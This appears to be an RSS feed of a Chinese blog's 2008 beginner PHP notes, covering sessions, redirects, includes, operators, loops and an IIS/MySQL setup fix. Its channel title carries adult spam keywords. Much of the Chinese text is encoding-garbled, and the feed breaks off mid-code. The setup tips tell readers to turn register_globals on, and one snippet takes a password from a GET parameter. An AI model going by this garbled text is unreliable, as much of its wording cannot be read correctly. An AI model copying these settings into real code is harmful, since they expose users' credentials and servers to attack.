??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲AV无码不卡无码,亚洲精品无码成人片在线观看,国产亚洲日韩在线a不卡http://www.tkk7.com/cyanbomb/zh-cnMon, 12 May 2025 11:36:10 GMTMon, 12 May 2025 11:36:10 GMT60PHP学习记——杂?/title><link>http://www.tkk7.com/cyanbomb/archive/2008/01/17/175849.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Thu, 17 Jan 2008 02:14:00 GMT</pubDate><guid>http://www.tkk7.com/cyanbomb/archive/2008/01/17/175849.html</guid><wfw:comment>http://www.tkk7.com/cyanbomb/comments/175849.html</wfw:comment><comments>http://www.tkk7.com/cyanbomb/archive/2008/01/17/175849.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/cyanbomb/comments/commentRss/175849.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/cyanbomb/services/trackbacks/175849.html</trackback:ping><description><![CDATA[<p> </p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080"> 1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #008000">//</span><span style="color: #008000"> 转换Ҏ(gu)字符</span><span style="color: #008000"><br /> </span><span style="color: #008080"> 2</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><?</span><span style="color: #000000">php </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #008080">htmlspecialchars</span><span style="color: #000000">(</span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">name</span><span style="color: #000000">'</span><span style="color: #000000">]); </span><span style="color: #000000">?></span><span style="color: #000000"><br /> </span><span style="color: #008080"> 3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080"> 4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000"> 强制转换成int?/span><span style="color: #008000"><br /> </span><span style="color: #008080"> 5</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><?</span><span style="color: #000000">php </span><span style="color: #0000ff">echo</span><span style="color: #000000"> (int)</span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">age</span><span style="color: #000000">'</span><span style="color: #000000">]; </span><span style="color: #000000">?></span><span style="color: #000000"><br /> </span><span style="color: #008080"> 6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080"> 7</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000"> 判断览器种cRstrposcMindexOf的功效?/span><span style="color: #008000"><br /> </span><span style="color: #008080"> 8</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><?</span><span style="color: #000000">php </span><span style="color: #0000ff">if</span><span style="color: #000000"> (</span><span style="color: #008080">strpos</span><span style="color: #000000">(</span><span style="color: #800080">$_SERVER</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">HTTP_USER_AGENT</span><span style="color: #000000">'</span><span style="color: #000000">]</span><span style="color: #000000">,</span><span style="color: #000000"> </span><span style="color: #000000">'</span><span style="color: #000000">MSIE</span><span style="color: #000000">'</span><span style="color: #000000">) </span><span style="color: #000000">!==</span><span style="color: #000000"> </span><span style="color: #0000ff">FALSE</span><span style="color: #000000">) { </span><span style="color: #000000">?></span><span style="color: #000000"><br /> </span><span style="color: #008080"> 9</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><</span><span style="color: #000000">p</span><span style="color: #000000">></span><span style="color: #000000">正在使用 Internet Explorer</span><span style="color: #000000"></</span><span style="color: #000000">p</span><span style="color: #000000">></span><span style="color: #000000"><br /> </span><span style="color: #008080">10</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><?</span><span style="color: #000000">php } </span><span style="color: #0000ff">else</span><span style="color: #000000"> { </span><span style="color: #000000">?></span><span style="color: #000000"><br /> </span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><</span><span style="color: #000000">b</span><span style="color: #000000">></span><span style="color: #000000">没有使用 Internet Explorer</span><span style="color: #000000"></</span><span style="color: #000000">b</span><span style="color: #000000">></span><span style="color: #000000"><br /> </span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><?</span><span style="color: #000000">php } </span><span style="color: #000000">?></span><span style="color: #000000"><br /> </span><span style="color: #008080">13</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">14</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000"> 接受面数据</span><span style="color: #008000"><br /> </span><span style="color: #008080">15</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$username</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #800080">$_POST</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">username</span><span style="color: #000000">'</span><span style="color: #000000">];    </span><span style="color: #008000">//</span><span style="color: #008000">POSTҎ(gu)</span><span style="color: #008000"><br /> </span><span style="color: #008080">16</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$password</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #800080">$_GET</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">password</span><span style="color: #000000">'</span><span style="color: #000000">];    </span><span style="color: #008000">//</span><span style="color: #008000">GETҎ(gu)<br /> </span><span style="color: #008080">17</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">18</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />// 使用SESSION前一定要执行此句</span><span style="color: #008000"><br /> </span><span style="color: #008080">19</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008080">session_start</span><span style="color: #000000">();<br /> </span><span style="color: #008080">20</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">21</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">lSESSION赋?/span><span style="color: #008000"><br /> </span><span style="color: #008080">22</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$_SESSION</span><span style="color: #000000">[</span><span style="color: #000000">'</span><span style="color: #000000">username</span><span style="color: #000000">'</span><span style="color: #000000">] </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #800080">$username</span><span style="color: #000000">;<br /> </span><span style="color: #008080">23</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">24</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">//</span><span style="color: #008000">跌{面</span><span style="color: #008000"><br /> </span><span style="color: #008080">25</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008080">header</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">location:login.php</span><span style="color: #000000">"</span><span style="color: #000000">);<br /> </span><span style="color: #008080">26</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000"><script>window.location.href = 'login.php';</script></span><span style="color: #000000">"</span><span style="color: #000000">;<br /> <br /> 问题信息Q?zhn)的服务器不支持MySql数据?无法安装论坛E序<br /> 1、对于php.ini文g<br /> q入 C:\PHPQ将 php.ini-dist 复制一份放?C:\WINNTQ?Windows XP/2003 下ؓ C:\Windows Q内Q改名ؓ php.iniQ然后用C本打开Q利用记事本的查扑֊能搜?extension_dir = "./"Qƈ其路径指到你的 PHP 目录下的 extensions 目录Q比如:extension_dir = "C:\PHP\ext"Q再搜烦 register_globals = OffQ将 Off Ҏ(gu) OnQ?br /> 查找 ;extension=php_mysql.dllQ将前面的引?#8220;Q?#8221;L?br /> 2、手册中关于配置IIS的说明,其中的“PHP\sapi\php4isapi.dll”改ؓphp目录下的“php5isapi.dll”<br /> 3、重要:复制php目录下的libmysql.dll文g到system32下? <p>重新启动IISQ或是Apache也要重启一下)Q?br /> 在命令提C符下逐一执行一下命令:<br /> net stop w3svc<br /> net stop iisadmin<br /> net start w3svc</p> </span></div> <img src ="http://www.tkk7.com/cyanbomb/aggbug/175849.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-17 10:14 <a href="http://www.tkk7.com/cyanbomb/archive/2008/01/17/175849.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP学习记——入门及数据库简单操?/title><link>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175726.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Wed, 16 Jan 2008 08:57:00 GMT</pubDate><guid>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175726.html</guid><wfw:comment>http://www.tkk7.com/cyanbomb/comments/175726.html</wfw:comment><comments>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175726.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/cyanbomb/comments/commentRss/175726.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/cyanbomb/services/trackbacks/175726.html</trackback:ping><description><![CDATA[<p>基本语法Q?br /> 1、引用文Ӟ </p> <p>引用文g的方法有两种Qrequire ?include?<br /> <br /> require 的用方法如 :</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php<br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">require</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">dbConnect.php</span><span style="color: #000000">"</span><span style="color: #000000">); <br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span></div> <p>q个函数通常攑֜ PHP E序的最前面QPHP E序在执行前Q就会先d require 所指定引入的文Ӟ使它变成 PHP E序|页的一部䆾。常用的函数Q亦可以q个Ҏ(gu)它引入|页中?</p> <p>include 使用Ҏ(gu)? </p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php<br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">include</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">dbConnect.php</span><span style="color: #000000">"</span><span style="color: #000000">);<br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span></div> <p>q个函数一般是攑֜程控制的处理部分中。PHP E序|页在读?include 的文件时Q才它读进来。这U方式,可以把程序执行时的流E简单化?<br /> </p> <p><br /> 2、注释方法: </p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080"> 1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php <br /> </span><span style="color: #008080"> 2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080"> 3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">注释Ҏ(gu)一</span><span style="color: #000000">"</span><span style="color: #000000">; </span><span style="color: #008000">//</span><span style="color: #008000"> 本例是C语法的注?nbsp;</span><span style="color: #008000"><br /> </span><span style="color: #008080"> 4</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><br /> </span><span style="color: #008080"> 5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">注释Ҏ(gu)?/span><span style="color: #000000">"</span><span style="color: #000000">; <br /> </span><span style="color: #008080"> 6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #008000">/*</span><span style="color: #008000"> 本例采用多行?nbsp;<br /> </span><span style="color: #008080"> 7</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />注释方式 </span><span style="color: #008000">*/</span><span style="color: #000000"> <br /> </span><span style="color: #008080"> 8</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080"> 9</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">注释Ҏ(gu)?/span><span style="color: #000000">"</span><span style="color: #000000">; </span><span style="color: #008000">#</span><span style="color: #008000"> 本例使用 UNIX Shell 语法注释 </span><span style="color: #008000"><br /> </span><span style="color: #008080">10</span><span style="color: #008000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000"><br /> </span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span><span style="color: #000000"> <br /> </span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span></div> <p> </p> <p>4、数l定义: <br /> </p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php<br /> </span><span style="color: #000000"><br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #800080">$mystring</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">字符?/span><span style="color: #000000">"</span><span style="color: #000000">; <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #800080">$myint</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">520</span><span style="color: #000000">; <br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #800080">$myfloat1</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">1.732</span><span style="color: #000000">; <br /> </span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #800080">$myfloat2</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">1</span><span style="color: #000000">.</span><span style="color: #000000">4E </span><span style="color: #000000">2</span><span style="color: #000000">; <br /> </span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #800080">$myArray</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #0000ff">array</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">a</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">b</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">c</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">d</span><span style="color: #000000">"</span><span style="color: #000000">); <br /> </span><span style="color: #008080">8</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">9</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span></div> <p>  <br /> </p> <p>5、字W串q算Q?</p> <p>英文的句P它可以将字符串连接v来,变成合ƈ的新字符丌Ӏ类似ASP中的& </p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php<br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$a</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">Hello </span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #800080">$b</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">World!</span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #800080">$a</span><span style="color: #000000">.</span><span style="color: #800080">$b</span><span style="color: #000000">; <br /> </span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><br /> </span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span><span style="color: #000000"> </span></div> <p> </p> <p>6、逻辑q算Q?</p> <p>W号    意义 <br />   <        于 <br />   >        大于 <br />  <=   于或等?<br />  >=   大于或等?<br />  ==       {于 <br />  !=      不等?<br /> &&       而且 (And) <br /> and       而且 (And) <br />   ||         或?(Or) <br />  or        或?(Or) <br /> xor       异或 (Xor) <br />   !          ?(Not) <br /> <br /> 7、if..else 循环</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php <br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  </span><span style="color: #0000ff">if</span><span style="color: #000000"> (</span><span style="color: #800080">$a</span><span style="color: #000000"> </span><span style="color: #000000">></span><span style="color: #000000"> </span><span style="color: #800080">$b</span><span style="color: #000000">) { <br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">a ?nbsp;b ?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  } </span><span style="color: #0000ff">elseif</span><span style="color: #000000"> (</span><span style="color: #800080">$a</span><span style="color: #000000"> </span><span style="color: #000000">==</span><span style="color: #000000"> </span><span style="color: #800080">$b</span><span style="color: #000000">) { <br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">a {于 b</span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  } </span><span style="color: #0000ff">else</span><span style="color: #000000"> { <br /> </span><span style="color: #008080">7</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">a ?nbsp;b ?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">8</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  } <br /> </span><span style="color: #008080">9</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span><span style="color: #000000"> </span></div> <p> </p> <p>8?for 循环</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php <br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  </span><span style="color: #0000ff">for</span><span style="color: #000000"> (</span><span style="color: #800080">$i</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">1</span><span style="color: #000000">; </span><span style="color: #800080">$i</span><span style="color: #000000"> </span><span style="color: #000000"><=</span><span style="color: #000000"> </span><span style="color: #000000">10</span><span style="color: #000000">; </span><span style="color: #800080">$i++</span><span style="color: #000000">) { <br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">q是W?/span><span style="color: #000000">"</span><span style="color: #000000">.</span><span style="color: #800080">$i</span><span style="color: #000000">.</span><span style="color: #000000">"</span><span style="color: #000000">ơ@?lt;br></span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  } <br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span><span style="color: #000000"> </span></div> <p> </p> <p>9?switch 循环</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080"> 1</span><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /><span style="color: #000000"><?</span><span style="color: #000000">php <br /> </span><span style="color: #008080"> 2</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  </span><span style="color: #0000ff">switch</span><span style="color: #000000"> (</span><span style="color: #008080">date</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">D</span><span style="color: #000000">"</span><span style="color: #000000">)) { <br /> </span><span style="color: #008080"> 3</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">case</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">Mon</span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080"> 4</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天星期一</span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080"> 5</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080"> 6</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">case</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">Tue</span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080"> 7</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天星期?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080"> 8</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080"> 9</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">case</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">Wed</span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080">10</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天星期?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">11</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080">12</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">case</span><span style="color: #000000"> 